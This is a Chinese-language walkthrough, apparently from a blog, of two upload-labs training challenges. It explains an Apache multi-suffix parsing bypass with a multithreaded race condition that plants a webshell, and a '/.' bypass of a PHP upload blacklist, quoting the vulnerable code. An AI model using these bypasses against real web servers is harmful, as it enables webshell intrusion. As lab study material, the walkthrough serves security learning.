// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

这题就是先检测白名单再放到服务器上面去了,由于这题是appache服务器,那我们就可以用到appache服务器的漏洞了

image-20250429115525518

用到的漏洞是多后缀名解析漏洞

Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别;因此可以用于文件上传来绕过(意思就是7z无法识别,然后就会继续会往左识别php)

但是你不能直接上传一个php文件然后改成.php.7z,因为这里他给你重命名了,重命名的规则就是以最后一个后缀,来重命名文件,所以你上传上去的话,大概率会获得

image-20250429120138061

所以这个题我们还是得用条件竞争,利用多线程, 把这个传上去,然后再次利用多线程访问(访问就会顺便执行这个文件,所以会生成后们木马php文件),来执行这个php的文件

所以跟上个题的做法差不多,先上传抓包改成1.php.7z,然后再发个包一直访问这个文件(目的是让它执行).

image-20250429194232035

image-20250429194240764

然后先让他无限传送用25个线程,后开始无限访问用25个线程

image-20250429194454239

当访问的攻击包出现200状态码是就代表成功了

image-20250429194407557

发现上传成功,然后再看看执行了里面的代码没有

image-20250429194549673

发现有Tony.php,就代表成功了,然后看看蚁剑能不能连接成功

image-20250429194716476

嘿嘿成功

pass-20(/.绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';

发现是黑名单,然后用的是move_uploaded_file()函数去传递最后存放的位置

由于move_uploaded_file()函数中的img_path是由post参数save_name控制的,可以在save_name利用%00截断(注意php版本低于5.3),但是这题已经做过了,所以这题的用意肯定不在这里,这个函数还有另外一个特性

move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

所以我们用/.绕过就可以了,将我们上传后的路径换成upload-19.php/.

你不能直接保存为19.php,要不然就会出现如下情况

image-20250429202522007

要用/.

image-20250429202543164

image-20250429202649937

成功